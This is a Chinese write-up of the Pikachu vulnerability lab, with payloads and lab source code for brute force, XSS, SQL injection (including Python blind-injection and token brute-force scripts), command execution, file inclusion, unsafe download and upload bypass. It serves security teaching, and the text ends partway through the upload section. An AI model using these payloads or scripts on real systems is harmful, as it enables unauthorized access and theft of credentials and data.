提示:文章,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、暴力破解关

1,基于表单的暴力破解

2,基于验证码绕过的爆破(on server)

3,验证码绕过(on client)

四、Token防爆破?

二、Cross-Site-Scripting

1,反射型(get)

2,反射型(POST)

3,存储型

4,DOM型

5,DOM-X型

6,XSS盲打

7,XSS之过滤

8、XSS之htmlspecialchars

9,XSS之href输出

10、XSS之js输出

三、SQL

1,数字型注入(post)

2,字符型(get)

3, 搜索型注入

4,XX型注入

5、insert/update型

6、delete注入

7、HTTP header注入

8,boolian盲注

9,时间盲注

10、宽字节注入

四、RCE

1,exec  "ping"

2、RCE EVAL

五、File Inclusion

1,本地文件包含

2、远程文件包含

六、unsafedownload

七、 文件上传

1,client check

2,MIME-type

3,getimagesize

八、越权

1,水平越权

2,水平越权

九、目录遍历

十、敏感信息泄露

十一、PHP反序列化

十一、XXE

十二、URL重定向

十三、 SSRF(服务端请求伪造)

1、curl

2,file_get_content

总结、


前言

Pikachu靶场拥有各类简单的漏洞,能掌握基本的漏洞利用。


提示:以下是本篇文章正文内容,下面案例可供参考

一、暴力破解关

1,基于表单的暴力破解

没什么好说的,直接burpsuite的intruder模块进行字典爆破。

爆出账号为admin,密码是123456

源码:

if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){$username = $_POST['username'];$password = $_POST['password'];$sql = "select * from users where username=? and password=md5(?)";$line_pre = $link->prepare($sql);$line_pre->bind_param('ss',$username,$password);if($line_pre->execute()){$line_pre->store_result();if($line_pre->num_rows>0){$html.= '<p> login success</p>';} else{$html.= '<p> username or password is not exists~</p>';}} else{$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';}}提交的username和password与数据库users表的username和password字段作比较,相同则登录成功。

2,基于验证码绕过的爆破(on server)

用同一个验证码,进行爆破试试。

验证码一直有效,爆破出密码依旧为admin,123456。

源码:

if(isset($_POST['submit'])) {if (empty($_POST['username'])) {$html .= "<p class='notice'>用户名不能为空</p>";} else {if (empty($_POST['password'])) {$html .= "<p class='notice'>密码不能为空</p>";} else {if (empty($_POST['vcode'])) {$html .= "<p class='notice'>验证码不能为空哦!</p>";} else {if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {$html .= "<p class='notice'>验证码输入错误哦!</p>";}else{$username = $_POST['username'];$password = $_POST['password'];$vcode = $_POST['vcode'];$sql = "select * from users where username=? and password=md5(?)";$line_pre = $link->prepare($sql);$line_pre->bind_param('ss',$username,$password);if($line_pre->execute()){$line_pre->store_result();if($line_pre->num_rows()==1){$html.='<p> login success</p>';}else{$html.= '<p> username or password is not exists~</p>';}}else{$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';}}}}}
}

增加了验证码的应用,将POST请求的验证码与session[vode]作比较,不相等即不正确,关键在于没有在每一次请求后销毁session[code]并重新生成,导致了验证码一直有效。应当在login success以及else后都进行session[vode]的销毁,并重新生成。

3,验证码绕过(on client)

源代码:

if(isset($_POST['submit'])){if($_POST['username'] && $_POST['password']) {$username = $_POST['username'];$password = $_POST['password'];$sql = "select * from users where username=? and password=md5(?)";$line_pre = $link->prepare($sql);$line_pre->bind_param('ss', $username, $password);if ($line_pre->execute()) {$line_pre->store_result();if ($line_pre->num_rows > 0) {$html .= '<p> login success</p>';} else {$html .= '<p> username or password is not exists~</p>';}} else {$html .= '<p>执行错误:' . $line_pre->errno . '错误信息:' . $line_pre->error . '</p>';}}else{$html .= '<p> please input username and password~</p>';}}

前端:

 var code; //在全局 定义验证码function createCode() {code = "";var codeLength = 5;//验证码的长度var checkCode = document.getElementById("checkCode");var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的for (var i = 0; i < codeLength; i++) {var charIndex = Math.floor(Math.random() * 36);code += selectChar[charIndex];}//alert(code);if (checkCode) {checkCode.className = "code";checkCode.value = code;}}function validate() {var inputCode = document.querySelector('#bf_client .vcode').value;if (inputCode.length <= 0) {alert("请输入验证码!");return false;} else if (inputCode != code) {alert("验证码输入错误!");createCode();//刷新验证码return false;}else {return true;}}createCode();

后端并没有出现验证码,仅进行登录,前端通过floor函数生成5个随机数字取数组中对应的索引值作为验证码,validate()保证每次提交验证码都会刷新,并且验证验证码的正确性。禁用掉validate()函数进行抓包爆破或将提交的vode直接去掉进行爆破都可以。

四、Token防爆破?

存在token,并且每次提交后token都会刷新,先看看HTML页面的源码。

页面中隐藏了下一次token的值,可以进行爆破,可使用burpsuite的宏或者正则匹配,这里我使用python脚本。

import requests
from bs4 import BeautifulSoups = requests.session()
password = []
f = open('password.txt', encoding='utf-8')
while 1:num = f.readline().rstrip()password.append(num)if not num:break
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0','Cookie': 'PHPSESSID=782u3n1vs7s22l76u4vphhjidu'}
req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php')
# print(req.text)
token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')for pa in password:req = s.post(url='http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php',data={'username': 'admin', 'password': pa, 'token': token, 'submit': 'Login'})if 'success' in req.text:print("爆破成功,用户名:admin,密码为:%s" % pa)breakelse:req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php')token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')

源码分析:


if(isset($_POST['submit']) && $_POST['username'] && $_POST['password'] && $_POST['token']){$username = $_POST['username'];$password = $_POST['password'];$token = $_POST['token'];$sql = "select * from users where username=? and password=md5(?)";$line_pre = $link->prepare($sql);$line_pre->bind_param('ss',$username,$password);if($token == $_SESSION['token']){if($line_pre->execute()){$line_pre->store_result();if($line_pre->num_rows>0){$html.= '<p> login success</p>';} else{$html.= '<p> username or password is not exists~</p>';}}else{$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';}}else{$html.= '<p> csrf token error</p>';}}
set_token();HTML:
<input type="hidden" name="token" value="<?php echo $_SESSION['token'];?>" />

通过比较Session[token]的值,并且每次请求后都会利用set_token()刷新token,若不显示刷新后的token值,确实是可以防暴力破解。

二、Cross-Site-Scripting

1,反射型(get)

前端设置了字符串的长度限制,直接去掉就好。

<img src="https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png" οnmοuseοver="alert('Aiwin')"/>

源码分析:

$html='';
if(isset($_GET['submit'])){if(empty($_GET['message'])){$html.="<p class='notice'>输入'kobe'试试-_-</p>";}else{if($_GET['message']=='kobe'){$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";}else{$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";}}
}?>

扫描过滤都没有,直接message=<img src="https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png" οnmοuseοver="console.log(document.cookie)"/>等都能取出cookie

2,反射型(POST)

这里有post登录页,应该要先登录,使用admin/123456登录。

使用上面相同的payload即可。

源码分析:

登录:
if(isset($_POST['submit'])){if($_POST['username']!=null && $_POST['password']!=null){$username=escape($link, $_POST['username']);$password=escape($link, $_POST['password']);$query="select * from users where username='$username' and password=md5('$password')";$result=execute($link, $query);if(mysqli_num_rows($result)==1){$data=mysqli_fetch_assoc($result);//登录时,生成cookie,1个小时有效期,供其他页面判断setcookie('ant[uname]',$_POST['username'],time()+3600);setcookie('ant[pw]',sha1(md5($_POST['password'])),time()+3600);header("location:xss_reflected_post.php");
//            echo '"<script>windows.location.href="xss_reflected_post.php"</script>';}else{$html ="<p>username or password error!</p>";}}else{$html ="<p>please input username and password!</p>";}
}登录后:
if(isset($_POST['submit'])){if(empty($_POST['message'])){$html.="<p class='notice'>输入'kobe'试试-_-</p>";}else{//下面直接将前端输入的参数原封不动的输出了,出现xssif($_POST['message']=='kobe'){$html.="<p class='notice'>愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";}else{$html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>";}}
}if(isset($_GET['logout']) && $_GET['logout'] == '1'){setcookie('ant[uname]','');setcookie('ant[pw]','');header("location:post_login.php");}function escape($link,$data){if(is_string($data)){return mysqli_real_escape_string($link,$data);}if(is_array($data)){foreach ($data as $key=>$val){$data[$key]=escape($link,$val);}}return $data;
}

登录时,使用了escape()进行特殊字符如换行符,单引号,双引号,空格进行转义,防止SQL注入,登录成功后,会生成有效期为1小时的cookie,依旧未对信息做任何过滤。

3,存储型

<img src="" οnerrοr='alert(document.cookie)'/>

源码分析:


$link=connect();
$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){$message=escape($link, $_POST['message']);$query="insert into message(content,time) values('$message',now())";$result=execute($link, $query);if(mysqli_affected_rows($link)!=1){$html.="<p>数据库出现异常,提交失败!</p>";}
}
if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){$query="delete from message where id={$_GET['id']}";$result=execute($link, $query);if(mysqli_affected_rows($link)==1){echo "<script type='text/javascript'>document.location.href='xss_stored.php'</script>";}else{$html.="<p id='op_notice'>删除失败,请重试并检查数据库是否还好!</p>";}}

对传入的message数据经过特殊字符转义后(主要针对SQL)插入数据库,导致了存储型的xss,第二个if是进行删除的按钮,通过索引ID进行message的删除,删除成功则立刻跳转到原页面,删除时也未经过任何转义,能够进行sql的盲注。

4,DOM型

输入的信息text会从前端通过javascript生成<a href="text">what do you see </a>

'><img src="#" οnmοuseοver="alert('Aiwin')"/> 先将生成的<a href闭合掉即可。

源码:

<script>function domxss(){var str = document.getElementById("text").value;document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}</script><!--<a href="" onclick=('xss')>--><input id="text" name="text" type="text"  value="" /><input id="button" type="button" value="click me!" onclick="domxss()" /><div id="dom"></div>

5,DOM-X型

输入的信息text会出现在URL中

'οnclick="alert(document.cookie)">

源码:

 if(isset($_GET['text'])){$html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>";
}   function domxss(){var str = window.location.search;var txss = decodeURIComponent(str.split("text=")[1]);var xss = txss.replace(/\+/g,' ');document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";}</script><form method="get"><input id="text" name="text" type="text"  value="" /><input id="submit" type="submit" value="请说出你的伤心往事"/></form><?php echo $html;?>

通过window.location.search匹配URL中?后的部分,通过split提取出text=后面的部分,通过正则全局匹配替换将+号替换成空格,GET请求任何text都会出现<a href='#' οnclick='domxss()'>。跟上一题其实一样,只不过多了一部点击步骤。

6,XSS盲打

两个输入框,是存储型的XSS,但是输入后没有任何输出,看下提示,存在后台,登录后台,后台出现了弹窗。

源码:

后:<?php$query="select * from xssblind";$result=mysqli_query($link, $query);while($data=mysqli_fetch_assoc($result)){$html=<<<A<tr><td>{$data['id']}</td><td>{$data['time']}</td><td>{$data['content']}</td><td>{$data['name']}</td><td><a href="admin.php?id={$data['id']}">删除</a></td></tr>
A;echo $html;}?>前:
$link=connect();
$html='';
if(array_key_exists("content",$_POST) && $_POST['content']!=null){$content=escape($link, $_POST['content']);$name=escape($link, $_POST['name']);$time=$time=date('Y-m-d g:i:s');$query="insert into xssblind(time,content,name) values('$time','$content','$name')";$result=execute($link, $query);if(mysqli_affected_rows($link)==1){$html.="<p>谢谢参与,阁下的看法我们已经收到!</p>";}else {$html.="<p>ooo.提交出现异常,请重新提交</p>";}
}

输入框中提交content,name,date()函数生成time插入数据库中,后台从数据库中一行一行提取出插入的数据到HTML页面,输入和输出的数据都没任何过滤,一旦登录后台,则能进行跨站脚本攻击。

7,XSS之过滤

随便尝试一下,script好像被过滤掉了。

<img src="x" οnerrοr="alert(document.cookie)"/>

源码:

if(isset($_GET['submit']) && $_GET['message'] != null){//这里会使用正则对<script进行替换为空,也就是过滤掉$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
//    $message=str_ireplace('<script>',$_GET['message']);if($message == 'yes'){$html.="<p>那就去人民广场一个人坐一会儿吧!</p>";}else{$html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";}}?>

将输入的message过滤掉了<script,还有很多可以用,黑名单过滤不完全的。

8、XSS之htmlspecialchars

Htmlspecialchars将&->&amp,"->&quot,<变成&lt,>变成&gt,唯一的缺陷就是默认不对单引号过滤。

' οnclick='alert(document.cookie)'

源码:

if(isset($_GET['submit'])){if(empty($_GET['message'])){$html.="<p class='notice'>输入点啥吧!</p>";}else {$message=htmlspecialchars($_GET['message']);$html1.="<p class='notice'>你的输入已经被记录:</p>";$html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";$html2.="<a href='{$message}'>{$message}</a>";}
}?>

使用了hemlspecialchars对message进行过滤,但是默认不对单引号过滤,依旧可以触发。

9,XSS之href输出

由于在<a href="">标签里,直接使用javascript:alert(1)

源码:

if(isset($_GET['submit'])){if(empty($_GET['message'])){$html.="<p class='notice'>叫你输入个url,你咋不听?</p>";}if($_GET['message'] == 'www.baidu.com'){$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";}else {$message=htmlspecialchars($_GET['message'],ENT_QUOTES);$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";}
}?>

输入的message进行了htmlspecialchars,然后输出在<a href="">里面,利用javascript完美绕过。

10、XSS之js输出

好像输入被动态生成在了javascript里

';alert(document.cookie);//     '闭合前面引号,//将后面注释掉

三、SQL

1,数字型注入(post)

1 order by 2  爆出两个字段-1 union select (database()),2 爆出数据库 pikachu-1 union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 爆出表 httpinfo member message users xssblind-1 union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level-1  union select (select group_concat(username,'~',password) from pikachu.users),2   爆出账号 密码

源码:

if(isset($_POST['submit']) && $_POST['id']!=null){$id=$_POST['id'];$query="select username,email from member where id=$id";$result=execute($link, $query);if(mysqli_num_rows($result)>=1){while($data=mysqli_fetch_assoc($result)){$username=$data['username'];$email=$data['email'];$html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";}}else{$html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";}
}?>

用户可控输出直接拼接到了select查询。

2,字符型(get)

allen' order by 2 #  爆出两个字段allen' union select (database()),2# 爆出数据库 pikachuallen' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblindallen' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2#  爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,levelallen'  union select (select group_concat(username,'~',password) from pikachu.users),2 #   爆出账号 密码

源码:

if(isset($_GET['submit']) && $_GET['name']!=null){$name=$_GET['name'];$query="select id,email from member where username='$name'";$result=execute($link, $query);if(mysqli_num_rows($result)>=1){while($data=mysqli_fetch_assoc($result)){$id=$data['id'];$email=$data['email'];$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";}}else{$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";}
}

查询的是username字符型,闭合直接拼接到了select。

3, 搜索型注入

a%' union select 1,(select database()),3#  爆出数据库a%' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3 # 爆出表 httpinfo member message users xssblinda%' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2,3 #  爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,levela%' union select (select group_concat(username,'~',password) from pikachu.users),2,3 #   爆出账号 密码

源码:

if(isset($_GET['submit']) && $_GET['name']!=null){$name=$_GET['name'];//这里的变量是模糊匹配,需要考虑闭合$query="select username,id,email from member where username like '%$name%'";$result=execute($link, $query);if(mysqli_num_rows($result)>=1){$html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";while($data=mysqli_fetch_assoc($result)){$uname=$data['username'];$id=$data['id'];$email=$data['email'];$html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";}}else{$html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";}
}

使用了%模糊搜索字符型name,需要闭合%和',直接拼接到了select中查询 ,此处还存在反射型XSS漏洞,allen%'#<script>alert(document.cookie)</script>,因为name被直接输出到了页面。

4,XX型注入

a') union select 1,(select database())#  爆出数据库a') union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblinda)' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 #  爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,levela') union select (select group_concat(username,'~',password) from pikachu.users),2 #   爆出账号 密码

源码:

if(isset($_GET['submit']) && $_GET['name']!=null){//这里没有做任何处理,直接拼到select里面去了$name=$_GET['name'];//这里的变量是字符型,需要考虑闭合$query="select id,email from member where username=('$name')";$result=execute($link, $query);if(mysqli_num_rows($result)>=1){while($data=mysqli_fetch_assoc($result)){$id=$data['id'];$email=$data['email'];$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";}}else{$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";}
}

闭合单引号和括号,直接拼接到select语句查询。

5、insert/update型

注册的username处进行报错注入

' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' 爆数据库' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '爆表名' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) or '爆列名' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2) or '爆数据

源码:

if(isset($_POST['submit'])){if($_POST['username']!=null &&$_POST['password']!=null){$getdata=$_POST;$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";$result=execute($link, $query);if(mysqli_affected_rows($link)==1){$html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";}else {$html.="<p>注册失败,请检查下数据库是否还活着</p>";}}else{$html.="<p>必填项不能为空哦</p>";}
}?>

对输入的POST数据未经过转义,就拼接插入数据库,可以使用报错注入。

6、delete注入

56 and updatexml(1,concat(0x7e,database(),0x7e),1) 爆数据库56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)爆表名56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1)爆列名56 and updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2)爆数据

源码:

if(array_key_exists("message",$_POST) && $_POST['message']!=null){$message=escape($link, $_POST['message']);$query="insert into message(content,time) values('$message',now())";$result=execute($link, $query);if(mysqli_affected_rows($link)!=1){$html.="<p>出现异常,提交失败!</p>";}
}// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
if(array_key_exists('id', $_GET)){$query="delete from message where id={$_GET['id']}";$result=execute($link, $query);if(mysqli_affected_rows($link)==1){header("location:sqli_del.php");}else{$html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";}
}?>

删除数据时,直接拼接了传入的id的值,删除时能进行sql注入

7、HTTP header注入

提示中有登录,进行登录

User-Agent进行注入:' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' 爆数据库' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '爆表名' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) or '爆列名' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2) or '爆数据

源码:

$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);if(isset($_GET['logout']) && $_GET['logout'] == 1){setcookie('ant[uname]','',time()-3600);setcookie('ant[pw]','',time()-3600);header("location:sqli_header_login.php");
}?>

直接获取了前端传入的header头信息并未经过处理插入数据库。

8,boolian盲注

import requestsurl="http://8b4456c4b5f14e56b89822e00a3ac86a.app.mituan.zone/vul/sqli/sqli_blind_b.php?name="
last="&submit=%E6%9F%A5%E8%AF%A2"
headers={'Cookie':'PHPSESSID=ea18qdummjfkob64qdec0b3oho','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'
}
result = ''
for times in range(1, 88):min = 0max = 128mid = (min + max) // 2while min < max:url = "http://8b4456c4b5f14e56b89822e00a3ac86a.app.mituan.zone/vul/sqli/sqli_blind_b.php?name="#url=url+f"allen'+and+ascii(substr(database()%2C{times}%2C1))>{mid}%23"+last #爆数据库 pikachu#url=url+f"allen'+and+ascii(substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%2C{times}%2C1))>{mid}%23"+last #爆表 httpinfo、member、message、user、xssblind#url = url + f"allen'+and+ascii(substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name%3D'member')%2C{times}%2C1))>{mid}%23" + last #爆某表字段、如user表,Host,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv等url=url+f"allen'+and+ascii(substr((select+group_concat(username)+from+pikachu.member)%2C{times}%2C1))>{mid}%23"+lastresp = requests.get(url,headers=headers)if 'your email is: allen@pikachu.com' in resp.text:min = mid + 1else:max = midmid = (min + max) // 2result += chr(min)print(result)

源码:

if(isset($_GET['submit']) && $_GET['name']!=null){$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合$result=mysqli_query($link, $query);//
//     $result=execute($link, $query);if($result && mysqli_num_rows($result)==1){while($data=mysqli_fetch_assoc($result)){$id=$data['id'];$email=$data['email'];$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";}}else{$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";}
}?>

打印结果输出的被注释掉了

9,时间盲注

import datetime
import timeimport requestsurl="http://8b4456c4b5f14e56b89822e00a3ac86a.app.mituan.zone/vul/sqli/sqli_blind_b.php?name="
last="&submit=%E6%9F%A5%E8%AF%A2"
headers={'Cookie':'PHPSESSID=ea18qdummjfkob64qdec0b3oho','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'
}
result = ''
for times in range(1, 88):min = 0max = 128mid = (min + max) // 2while min < max:url = "http://8b4456c4b5f14e56b89822e00a3ac86a.app.mituan.zone/vul/sqli/sqli_blind_b.php?name="#url=url+f"allen'+and+if(ascii(substr(database()%2C{times}%2C1))>{mid}%2Csleep(3)%2C1)%23"+last #爆数据库 pikachuurl=url+f"allen'+and+if(ascii(substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%2C{times}%2C1))>{mid}%2Csleep(2)%2C1)%23"+laststartTime = time.time()resp = requests.get(url,headers=headers)time2 = datetime.datetime.now()if time.time()-startTime > 2:min = mid + 1else:max = midmid = (min + max) // 2result += chr(min)print(result)

自己调试下,根据网络的大致情况采取适当的时间。

源码:

if(isset($_GET['submit']) && $_GET['name']!=null){$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合$result=mysqli_query($link, $query);//mysqi_query不打印错误描述
//     $result=execute($link, $query);
//    $html.="<p class='notice'>i don't care who you are!</p>";if($result && mysqli_num_rows($result)==1){while($data=mysqli_fetch_assoc($result)){$id=$data['id'];$email=$data['email'];$html.="<p class='notice'>i don't care who you are!</p>";}}else{$html.="<p class='notice'>i don't care who you are!</p>";}
}

无论输出啥,输出都一样,只能使用时间盲注。

10、宽字节注入

kobe%df' union select 1,database()#  爆数据库名kobe%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblindkobe%df' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 #  爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,levelkobe%df' union select (select group_concat(username,'~',password) from pikachu.users),2 #   爆出账号 密码

源码:

if(isset($_POST['submit']) && $_POST['name']!=null){$name = escape($link,$_POST['name']);$query="select id,email from member where username='$name'";$set = "set character_set_client=gbk";execute($link,$set);//mysqi_query不打印错误描述$result=mysqli_query($link, $query);if(mysqli_num_rows($result) >= 1){while ($data=mysqli_fetch_assoc($result)){$id=$data['id'];$email=$data['email'];$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";}}else{$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";}}?>

虽然使用了escape对参数name进行转义,但是启用了gbk编码,可以使用%df或其它编码与\构成两字节的编码绕过\

四、RCE

1,exec  "ping"

源码分析:

$result='';if(isset($_POST['submit']) && $_POST['ipaddress']!=null){$ip=$_POST['ipaddress'];if(stristr(php_uname('s'), 'windows')){ //判断系统类型$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理}else {$result.=shell_exec('ping -c 4 '.$ip);}}?>

输入的ipaddress变量未经过过滤,直接进行了命令执行。

2、RCE EVAL

源码:


$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){if(@!eval($_POST['txt'])){$html.="<p>你喜欢的字符还挺奇怪的!</p>";}}?>

直接将用户的输入当成了PHP代码执行,很危险。

五、File Inclusion

1,本地文件包含

$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){$filename=$_GET['filename'];include "include/$filename";//变量传进来直接包含,没做任何的安全限制}?>

传入的参数直接进行了包含,应当使用白名单,规定传入的文件名

2、远程文件包含

源码:

$html1='';
if(!ini_get('allow_url_include')){$html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>";
}
$html2='';
if(!ini_get('allow_url_fopen')){$html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>";
}
$html3='';
if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){$html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>";
}//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){$filename=$_GET['filename'];include "$filename";//变量传进来直接包含,没做任何的安全限制}

远程文件包含需要开启PHP的allow_url_include和fopen服务,php6以后magic_quotes_gpc服务默认关闭。

六、unsafedownload

有文件下载的途径,可以尝试一下修改filename的值

 源码:

<?php$PIKA_ROOT_DIR =  "../../";include_once $PIKA_ROOT_DIR."inc/function.php";
$file_path="download/{$_GET['filename']}";
//用以解决中文不能显示出来的问题
$file_path=iconv("utf-8","gb2312",$file_path);//首先要判断给定的文件存在与否
if(!file_exists($file_path)){skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php');return ;
}
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
//下载文件需要用到的头
ob_clean();//输出前一定要clean一下,否则图片打不开
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count=0;
//向浏览器返回数据//循环读取文件流,然后返回到浏览器feof确认是否到EOF
while(!feof($fp) && $file_count<$file_size){$file_con=fread($fp,$buffer);$file_count+=$buffer;echo $file_con;
}
fclose($fp);
?>

对于传入的文件路径参数未经过任何过滤即允许下载,不安全。

七、 文件上传

1,client check

前端js检查,直接<?php phpinfo();?>的txt文件改为jpg文件,上传用burpsutie抓包修改为php文件, 或直接删除前端js检查都可。

源码:

function checkFileExt(filename){var flag = false; //状态var arr = ["jpg","png","gif"];//取出上传文件的扩展名var index = filename.lastIndexOf(".");var ext = filename.substr(index+1);//比较for(var i=0;i<arr.length;i++){if(ext == arr[i]){flag = true; //一旦找到合适的,立即退出循环break;}}//条件判断if(!flag){alert("上传的文件不符合要求,请重新选择!");location.reload(true);}}

根据提交的文件取后缀名与数组中的作比较,不允许则不行,前端是不可信的。

2,MIME-type

对Content-Type进行检查,burpsuite修改Content-type即可,将Content-type改成image/jpeg

源码:


$html='';
if(isset($_POST['submit'])){$mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。$save_path='uploads';//指定在当前目录建立一个目录$upload=upload_sick('uploadfile',$mime,$save_path);//调用函数if($upload['return']){$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";}else{$html.="<p class=notice>{$upload['error']}</p>";}
}?>//只通过MIME类型验证了一下图片类型,其他的无验证,upsafe_upload_check.php
